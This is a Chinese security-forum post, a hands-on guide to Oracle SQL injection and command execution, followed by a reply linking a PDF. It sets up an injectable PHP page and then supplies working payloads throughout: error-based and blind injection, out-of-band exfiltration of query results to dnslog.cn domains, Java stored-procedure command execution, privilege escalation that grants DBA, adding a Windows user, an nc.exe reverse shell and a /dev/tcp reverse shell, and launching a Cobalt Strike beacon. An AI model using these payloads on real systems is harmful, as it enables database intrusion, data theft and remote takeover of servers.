# Oracle命令执行小结 **URL:** \ **Category:** 宽字节安全\ **Created:** [2020 年7 月 14 日 06:32 UTC](https://forum.90sec.com/t/topic/1209 "2020-07-14T06:32:44Z")\ **Posts on this page:** 2\ **Page:** 1
作者： ![unicodeSec](https://forum.90sec.com/user_avatar/forum.90sec.com/unicodesec/32/6830_2.png) [@unicodeSec](https://forum.90sec.com/u/unicodeSec)\ 发布日期： [2020 年7 月 14 日 06:32 UTC](https://forum.90sec.com/t/topic/1209/1 "2020-07-14T06:32:45Z")
## 环境配置 ### 环境搭建 - oracle - PHP ``` extension=php_oci8.dll extension=php_oci8_11g.dll # 查看phpinfo时候，可以看到OCI8即可。 ``` ![image-20200602112233342](https://tomsawyer.oss-cn-beijing.aliyuncs.com/001.png) ### 注入点构建 ```php "; echo "Input:".$id."
"; $sql = "select id,username,password,phone from admin where id = ".$id; echo "
".$sql."
"; $stmt = oci_parse($con, $sql); oci_execute($stmt); $nrows = oci_fetch_all($stmt, $results); if ($nrows > 0) { echo "\n"; echo "\n"; foreach ($results as $key => $val) { echo "\n"; } echo "\n"; for ($i = 0; $i < $nrows; $i++) { echo "\n"; foreach ($results as $data) { echo "\n"; } echo "\n"; } echo "
$key
$data[$i]
\n"; } else { echo "No data found
\n"; } } else{ echo "NO"; } //*/ ?> ``` ![image-20200602144555521](https://tomsawyer.oss-cn-beijing.aliyuncs.com/002.png) ## 简介 Oracle Database，又名Oracle RDBMS，或简称Oracle。是[甲骨文公司](https://baike.baidu.com/item/%E7%94%B2%E9%AA%A8%E6%96%87%E5%85%AC%E5%8F%B8/430115)的一款[关系数据库管理系统](https://baike.baidu.com/item/%E5%85%B3%E7%B3%BB%E6%95%B0%E6%8D%AE%E5%BA%93%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9F/11032386)。它是在数据库领域一直处于领先地位的产品。可以说Oracle数据库系统是目前世界上流行的关系数据库管理系统，系统可移植性好、使用方便、功能强，适用于各类大、中、小、微机环境。它是一种高效率、可靠性好的、适应高吞吐量的数据库方案。 ### 基本语法 - select 必须要指明表名。若并非对真实的表进行查询，则需要用 `dual` 作为表名。 - 单引号与双引号：Oracle 的单引号与 MySQL 一致，但是双引号用于消除系统关键字。例如，有个表的字段叫`sysdate`，因为`sysdate`属于`oracle`中的关键字，但你要查询这个字段的时候，就需要`select "sysdate" from dual;`，若用 `select 'sysdate' from table_name;`查询就相当于 `select sysdate from table_name;`，而`sysdate` 用于获得当前时间。 - 第 n 行的数据：`SELECT colmn_name FROM (SELECT ROWNUM r, table_name FROM users ORDER BY colmn_name) WHERE r=n;`。 - 拼接字符：`SELECT 'a' || 'b' FROM dual;`。 - `case 语法`：`SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END FROM dual;`。 - Oracle 中空字符串`''`就是`null`（也就是说，只有`null`，没有空字符）。 ### 系统表 - dba\_tables : 系统里所有的表的信息，需要DBA权限才能查询 - all\_tables : 当前用户有权限的表的信息（只要对某个表有任何权限，即可在此视图中看到表的相关信息） - user\_tables: 当前用户名下的表的信息 - DBA\_ALL\_TABLES：`DBA` 用户所拥有的或有访问权限的对象和表 - ALL\_ALL\_TABLES：某一用户拥有的或有访问权限的对象和表 - USER\_ALL\_TABLES：某一用户所拥有的对象和表 ### 获取数据库信息 - 服务器版本：`SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';` 或者 `SELECT version FROM v$instance;`。 - 操作系统版本：`SELECT banner FROM v$version where banner like 'TNS%';`。 - 当前数据库：`SELECT global_name FROM global_name;` 或者 `SELECT name FROM v$database;`或者`SELECT instance_name FROM v$instance;`或者`SELECT SYS.DATABASE_NAME FROM DUAL;`。 - 获取当前用户权限的所有数据库：`SELECT DISTINCT owner, table_name FROM all_tables;` - 表名：`SELECT table_name FROM all_tables;`。 - 字段名：`SELECT column_name FROM all_tab_columns`。 ### 获取用户信息 描述：`Oracle`。 - 当前数据库用户：`SELECT user FROM dual;`。 - 所有数据库用户：`SELECT username FROM all_users ORDER BY username;` 或者 `SELECT name FROM sys.user$; -- priv`。 - 所有数据库用户的密码 hash：`SELECT name, password, astatus FROM sys.user$; -- priv, <= 10g` 或者 `SELECT name, spare4 FROM sys.user$; -- priv, >= 11g`。 - 当前用户的权限：`SELECT * FROM session_privs;`。 - 所有用户的权限：`SELECT * FROM dba_sys_privs -- priv`。 - 用户角色：`SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS;` 或者 `SELECT DISTINCT grantee FROM dba_sys_privs`。 ## Oracle注入 没有什么过滤的情况下，Sqlmap一把梭是最快的。不过，还是需要了解一下常用的Oracle注入方式。 ### 报错注入 直接来就好了，毕竟页面显示。 示例： ```sql http://172.16.49.137/oracle.php?id=1 union select null,user,null,null from dual http://172.16.49.137/oracle.php?id=1 and (select utl_inaddr.get_host_name((select user from dual)) from dual) is not null ``` ![image-20200702172913714](https://tomsawyer.oss-cn-beijing.aliyuncs.com/004.png) - `decode`函数，如果正确则为1，错误为2。 ``` select decode(substr(user, 1, 1), 't', (1/1),2) from dual; ``` - `instr`判断给出的字符串1是否在字符串2中。正确为1，错误为0. ``` select instr((select user from dual),'admin') FROM dual; ``` - `utl_inaddr.get_host_name`这种方法在 `Oracle 8g`，`9g`，`10g`中不需要任何权限但是在`Oracle 11g`以及以后的版本中，官方加强了访问控制权限，所以在`11g`以后要使用此方法进行报错注入，当前数据库用户必须有网络访问权限。 ``` select utl_inaddr.get_host_name((select user from dual)) from dual; ``` ![image-20200703093602971](https://tomsawyer.oss-cn-beijing.aliyuncs.com/003.png) - `ctxsys.drithsx.sn`Oracle 中用于处理文本，当传入参数类型错误时，会返回异常。 ![image-20200703093747004](https://tomsawyer.oss-cn-beijing.aliyuncs.com/005.png) - `CTXSYS.CTX_REPORT.TOKEN_TYPE`作用与 `ctxsys.drithsx.sn` 类似，用于处理文本。确保数据类型与前面语句一致，这里只能使用phone字段，`number`型，允许为空。。。 ``` select CTXSYS.CTX_REPORT.TOKEN_TYPE((select user from dual), '123') from dual; ``` ![image-20200703094207462](https://tomsawyer.oss-cn-beijing.aliyuncs.com/006.png) - `XMLType` 在调用的时候必须以`<:`开头，`>`结尾，即 `'<:'||balabala||'>'` 或者 `chr(60)||balabal||chr(62）`。另外需要注意的是如果返回的数据种有空格的话，它会自动截断，导致数据不完整，这种情况下先转为 hex，再导出。 ``` select XMLType('<:'||(select user from dual)||'>') from dual; ⚠️注意：该函数对应的数据类型为：XMLTYPE，使用unionc select 可能无法对应数据类型。 http://172.16.49.137/oracle.php?id=1 and (select XMLType('<:'||(select user from dual)||'>') from dual) is not null ``` ![image-20200703101217646](https://tomsawyer.oss-cn-beijing.aliyuncs.com/008.png) - `dbms_xdb_version.checkin` ``` select dbms_xdb_version.checkin((select user from dual)) from dual; http://172.16.49.137/oracle.php?id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null s ``` ![image-20200703101002277](https://tomsawyer.oss-cn-beijing.aliyuncs.com/007.png) - `dbms_xdb_version.makeversioned` ``` select dbms_xdb_version.makeversioned((select user from dual)) from dual; ``` - `dbms_xdb_version.uncheckout` ``` select dbms_xdb_version.uncheckout((select user from dual)) from dual; ``` - `dbms_utility.sqlid_to_sqlhash` ``` SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual; ``` - `ordsys.ord_dicom.getmappingxpath` ``` select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual; ``` - `UTL_INADDR.get_host_address` ``` select UTL_INADDR.get_host_name('~'||(select user from dual)||'~') from dual; ``` ### 盲注 布尔和时间盲注，参考如下： ``` 利用时间延迟函数配合replace和substr以及decode来进行注入 http://172.16.49.137/oracle.php?id=1 and DBMS_PIPE.RECEIVE_MESSAGE('cc', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'S', 3))=1 http://172.16.49.137/oracle.php?id=1 and (select decode(substr(user,1,1),'S',dbms_pipe.receive_message('cc',3),0) from dual) is not null ``` ![image-20200703153315774](https://tomsawyer.oss-cn-beijing.aliyuncs.com/009.png) ### OOB外带 带外通信即使用 Oracle 发送`HTTP`或者`DNS`请求，将查询结果带到请求中，然后监测外网服务器的`HTTP`和`DNS`日志，从日志中获取 sql 语句查询的结果，通过这种方式将繁琐的盲注转换成可以直接简便的获取查询结果的方式，尤其是基于时间的盲注，能极大地加快速度。类似于 Windows 的MySQL 中利用 `LOAD_FILE` 的 dns 带外通信。 借用DNSlog/CEYE的payload，尝试。 - `utl_http.request()` 向外网主机发送 `http` 请求: ``` http://172.16.49.137/oracle.php?id=1 and (select utl_http.request('http://'||(select user from dual)||'.d1a6j9.dnslog.cn/') from dual) is not null ``` - `utl_inaddr.get_host_address`将查询结果拼接到域名下，并使用DNS记录解析日志。 ``` http://172.16.49.137/oracle.php?id=1 and (select utl_inaddr.get_host_address((select user from dual)||'.ka255j.dnslog.cn') from dual) is not null ``` - `SYS.DBMS_LDAP.INIT`与 `utl_inaddr.get_host_address` 类似，很多时候数据服务器都是站库分离的，而且不一定能主动访问外网。但是有时候可能会允许 DNS 请求。并且这个函数在 10g/11g 中是 public 权限。 ``` http://172.16.49.137/oracle.php?id=1 and (select SYS.DBMS_LDAP.INIT((select user from dual)||'.2eo2cw.dnslog.cn',80) from dual) is not null ``` - `HTTPURITYPE` ``` http://172.16.49.137/oracle.php?id=1 and (SELECT HTTPURITYPE((select user from dual)||'.j79nme.dnslog.cn').GETCLOB() FROM DUAL) is not null ``` Oracle HTTP代理实现跨库攻击 ``` union select cast(substr(httpuritype(‘http://127.0.0.1:8080/sqlinjection/default3.asp’).getclob(),1,1000) as varchar(1000)) from dual-- union select cast(substr(httpuritype('http://127.0.0.1/sqlinjection/default3.asp?qid=1/ **/union/** /all/ **/select/** /1,@@version,user').getclob(),1,1000) as varchar(1000)) from dual-- union select cast(substr(httpuritype('http://127.0.0.1/sqlinjection/default3.asp?qid=1;exec/ **/master..xp_cmdshell/** /"C:\nc.exe%20172.16.56.1%204444%20-e%20cmd.exe" '). getclob(),1,3000) as varchar(3000)) from dual-- ``` ## Oracle11g 命令执行 - 直连数据库情况下 ``` # Windows下 通过关键字host host whoami # Linux下 通过关键字符 ! !whoami ``` 11.2.0.1.0 命令执行步骤： 1. 创建JAVA Source 2. 赋予执行权限 3. 创建函数 4. 调用函数执行命令 ### dbms\_xmlquery.newcontext - 创建JAVA Source 这里创建表时只有`phone`字段允许为null,因此需要匹配该字段数据类型，创建JAVA Source。（`dbms_xmlquery.newcontext`创建JAVA Source时返回为null） ``` http://172.16.49.137/oracle.php?id=1 union select null,null,null,dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual ``` 在数据库直接执行时： ![image-20200702093300028](https://tomsawyer.oss-cn-beijing.aliyuncs.com/010.png) 联合查询时： ![image-20200702093117462](https://tomsawyer.oss-cn-beijing.aliyuncs.com/011.png) 查看`all_objects`内部的变化。 ![image-20200702093729519](https://tomsawyer.oss-cn-beijing.aliyuncs.com/012.png) - 赋予执行权限 我这了测试了三个用户，都不需要执行权限。 cc为system连接，root为root用户连接，test为test连接。 ![image-20200702142914225](https://tomsawyer.oss-cn-beijing.aliyuncs.com/014.png) ![image-20200702143015246](https://tomsawyer.oss-cn-beijing.aliyuncs.com/015.png) 提权语句,这里没有用到。 ``` select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<>'''',''''EXECUTE'''');end;''commit;end;') from dual; ``` ``` # 使用SYS.LT.CREATEWORKSPACE提权 9iR2, 10gR1, 10gR2 and 11gR1 #fixed 2009.7 select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate '' begin SYS.LT.CREATEWORKSPACE(''''A10'''''''' and TEST.pwn()=''''''''x'''');SYS.LT.REMOVEWORKSPA CE(''''A10'''''''' and TEST.pwn()=''''''''x'''');end;''; commit; end;') from dual ``` ``` # 使用sys.dbms_cdc_publish.create_change_set提权 10gR1, 10gR2, 11g R1 and 11gR2 #fixed 2010.10 select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION; begin execute immediate '' begin sys.dbms_cdc_publish.create_change_set('''' a'''',''''a'''',''''a''''''''||TEST.pwn()||''''''''a'''',''''Y'''',s ysdate,sysdate);end;''; commit; end;') from dual ``` ``` # 使用GET_DOMAIN_INDEX_TABLES Oracle 8.1.7.4, 9.2.0.1 - 9.2.0.7, 10.1.0.2 - 10.1.0.4, 10.2.0.1-10.2.0.2 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('foo','bar','DBMS_OUTPUT".PUT_LINE(:P1); EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION; BEGIN EXECUTE IMMEDIATE ''''grant dba to TEST''''; END;''; END;--', '', 0, '1', 0) from dual ``` - 创建函数 ``` http://172.16.49.137/oracle.php?id=1 union select null,null,null,dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual ``` ![image-20200701164925448](https://tomsawyer.oss-cn-beijing.aliyuncs.com/013.png) - 判断函数是否创建成功 查看all\_objects表中的是否已经存刚才创建的函数。 ``` http://172.16.49.137/oracle.php?id=1 union select null,null,null,OBJECT_ID from all_objects where object_name ='LINXRUNCMD' ``` ![image-20200701165318737](https://tomsawyer.oss-cn-beijing.aliyuncs.com/016.png) ``` select * from all_objects where object_name like '%LINX%' or object_name like '%Linx%' ``` - 执行命令 注意⚠️：执行命令时候返回的结果是字符串，所以无法用phone字段。 ``` http://172.16.49.137/oracle.php?id=1 union select null,LinxRunCMD('whoami'),null,null from dual ``` ![image-20200701171038862](https://tomsawyer.oss-cn-beijing.aliyuncs.com/018.png) - 删除函数 ``` drop function LinxRunCMD ``` 以上测试是在system用户下进行，那么如果没有DBA权限呢？ ![image-20200702151015602](https://tomsawyer.oss-cn-beijing.aliyuncs.com/017.png) 这里使用ROOT用户，根据上述过程，依旧可以。 ![image-20200702151119873](https://tomsawyer.oss-cn-beijing.aliyuncs.com/019.png) **以下函数均不能在11.2.0.1.0上正常执行命令。（这里是我自己的测试环境- -）** ### DBMS\_JAVA\_TEST.FUNCALL() ``` Select DBMS_JAVA_TEST.FUNCALL('oracle/aurora/util/Wrapper','main','c:\\Windows\\System32\\cmd.exe','/c','whoami') from dual; ``` ![image-20200702115920307](https://tomsawyer.oss-cn-beijing.aliyuncs.com/020.png) ### DBMS\_JAVA.RUNJAVA() ``` SELECT DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper c:\\Windows\\System32\\cmd.exe /c whoami') FROM DUAL ``` ![image-20200702141620519](https://tomsawyer.oss-cn-beijing.aliyuncs.com/021.png) ### DBMS\_REPCAT\_RPC.VALIDATE\_REMOTE\_RC ``` select sys.DBMS_REPCAT_RPC.VALIDATE_REMOTE_RC(USER,'VALIDATE_GRP_OBJECTS_LOCAL(:canon_gname);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','CCCCC') from dual ``` ![image-20200702143522190](https://tomsawyer.oss-cn-beijing.aliyuncs.com/022.png) ### 另外一种方式 参考别人的，需要DBA权限，在本地测试不成功。 ``` ' and (select SYS.KUPP$PROC.CREATE_MASTER_PROCESS('DBMS_SCHEDULER.create_program(''myprog10'',''EXECUTABLE'',''net user pwnedfromweb pwn3d!! /add'',0,TRUE);DBMS_SCHEDULER.create_job(job_name=>''myjob10'',program_name=>''myprog10'',start_date=>NULL,repeat_interval=>NULL,end_date=>NULL,enabled=>TRUE,auto_drop=>TRUE);dbms_lock.sleep(1);dbms_scheduler.drop_program(program_name=>''myprog10'');dbms_scheduler.purge_log;')from dual) is not null -- ``` ## Oracle 10g 命令执行 Server 2003下`10.2.0.1.0`。 ### DBMS\_EXPORT\_EXTENSION 输出扩展功能包，其中存在三个危险函数，get\_domian\_index\_metadata，get\_v2\_domain\_index\_tables，get\_domain\_index\_tables。都是以sys权限定义，默认低权限用户可以调用。 - 首先创建 JAVA Source ``` # Linux select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args){try{BufferedReader myReader= new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'''';END;'';END;--','SYS',0,'1',0) from dual # Windows # 出现截断问题，导致dir,tasklist等命令无法执行，可以执行whoami,ipconfig等。。 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "Command" as import java.io.*;public class Command{public static String exec(String cmd) throws Exception{String sb="";BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());BufferedReader inBr = new BufferedReader(new InputStreamReader(in));String lineStr;while ((lineStr = inBr.readLine()) != null)sb+=lineStr+"\n";inBr.close();in.close();return sb;}}'''';END;'';END;--','SYS',0,'1',0) from dual ``` - 赋予执行权限 ``` # Linux select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual # Windows select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual ``` - 创建函数，返回值为null ``` # Linux select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name''''''''LinxUtil.runCMD(java.lang.String) return String'''''''';'''';END;'';END;--','SYS',0,'1',0) from dual # Windows select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function cmd(p_cmd in varchar2) return varchar2 as language java name ''''''''Command.exec(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual ``` - 赋予函数执行权限 ``` # Linux select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual # Windows select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on cmd to public'''';END;'';END;--','SYS',0,'1',0) from dual ``` - 执行命令 ``` # ⚠️注意：该方法在Windows无法适用截断问题- - 只能执行连续字符命令，结果输出带有截断也无法，。。执行dir直接卡死了。。 select sys.LinxRunCMD('/bin/bash -c /usr/bin/whoami') from dual # ⚠️注意：结果中带有截断字符则报错。比如:net user，直接执行.exe没问题。这里为CS的🐎 select sys.cmd('C:\Documents and Settings\Administrator\桌面\beacon.exe') from dual ``` ![](https://tomsawyer.oss-cn-beijing.aliyuncs.com/023.png) ### dbms\_xmlquery.newcontext 在本地Windows下10g没有成功，11g是可以的。 ``` # 创建JAVA包 select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual; # 赋予当前用户JAVA权限， 赋权失败会报错。 select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission(''''''''YY'''''''', ''''''''SYS:java.io.FilePermission'''''''',''''''''<>'''''''', ''''''''execute'''''''');end;'''';END;'';END;--','SYS',0,'1',0) from dual; # 创建函数 select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual; # 删除创建的函数 drop function LinxRunCMD # 执行命令 select LinxRunCMD('whoami') from dual ``` ### Linux反弹shell - 创建JAVA Source ``` select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace and compile java source named "shell" as import java.io.*;import java.net.*;public class shell {public static void run() throws Exception{String[] aaa={"/bin/bash","-c","exec 9<> /dev/tcp/127.0.0.1/8080;exec 0<&9;exec 1>&9 2>&1;/bin/sh"};Process p=Runtime.getRuntime().exec(aaa);}}'''';END;'';END;--','SYS',0,'1',0) from dual ``` - 授予权限 ``` select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.net.SocketPermission'''''''', ''''''''<>'''''''', ''''''''*'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual ``` - 创建函数 ``` select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''create or replace function reversetcp RETURN VARCHAR2 as language java name ''''''''shell.run() return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual ``` - 赋予执行权限 ``` select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT" .PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on reversetcp to public'''';END;'';END;--','SYS',0,'1',0) from dual ``` - 调用 ``` select sys.reversetcp from dual ``` Oracle利用工具：[https://github.com/jas502n/oracleShell（大佬应该是没有时间完善）](https://github.com/jas502n/oracleShell%EF%BC%88%E5%A4%A7%E4%BD%AC%E5%BA%94%E8%AF%A5%E6%98%AF%E6%B2%A1%E6%9C%89%E6%97%B6%E9%97%B4%E5%AE%8C%E5%96%84%EF%BC%89) [1] [https://redn3ck.github.io/2018/04/25/Oracle%E6%B3%A8%E5%85%A5-%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C-Shell%E5%8F%8D%E5%BC%B9/](https://redn3ck.github.io/2018/04/25/Oracle%E6%B3%A8%E5%85%A5-%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C-Shell%E5%8F%8D%E5%BC%B9/) [2] [https://www.tr0y.wang/2019/04/16/Oracle注入指北/index.html#报错注入](https://www.tr0y.wang/2019/04/16/Oracle%E6%B3%A8%E5%85%A5%E6%8C%87%E5%8C%97/index.html#%E6%8A%A5%E9%94%99%E6%B3%A8%E5%85%A5) [3] [http://media.blackhat.com/bh-us-10/whitepapers/Siddharth/BlackHat-USA-2010-Siddharth-Hacking-Oracle-from-the-Web-wp.pdf](http://media.blackhat.com/bh-us-10/whitepapers/Siddharth/BlackHat-USA-2010-Siddharth-Hacking-Oracle-from-the-Web-wp.pdf) ![image](https://forum.90sec.com/uploads/default/original/2X/3/3f5727760925c6ae4bc595939cd945d537cc2fb6.png) ---
作者： ![panda](https://forum.90sec.com/user_avatar/forum.90sec.com/panda/32/4495_2.png) [@panda](https://forum.90sec.com/u/panda)\ 发布日期： [2020 年7 月 14 日 06:50 UTC](https://forum.90sec.com/t/topic/1209/2 "2020-07-14T06:50:57Z")
[Oracle 注入大全.pdf](https://forum.90sec.com/uploads/short-url/hV6FyvdjTdMjDJqYrka0n1ofT8W.pdf) (268.6 KB) 补充一份关于oracle的内容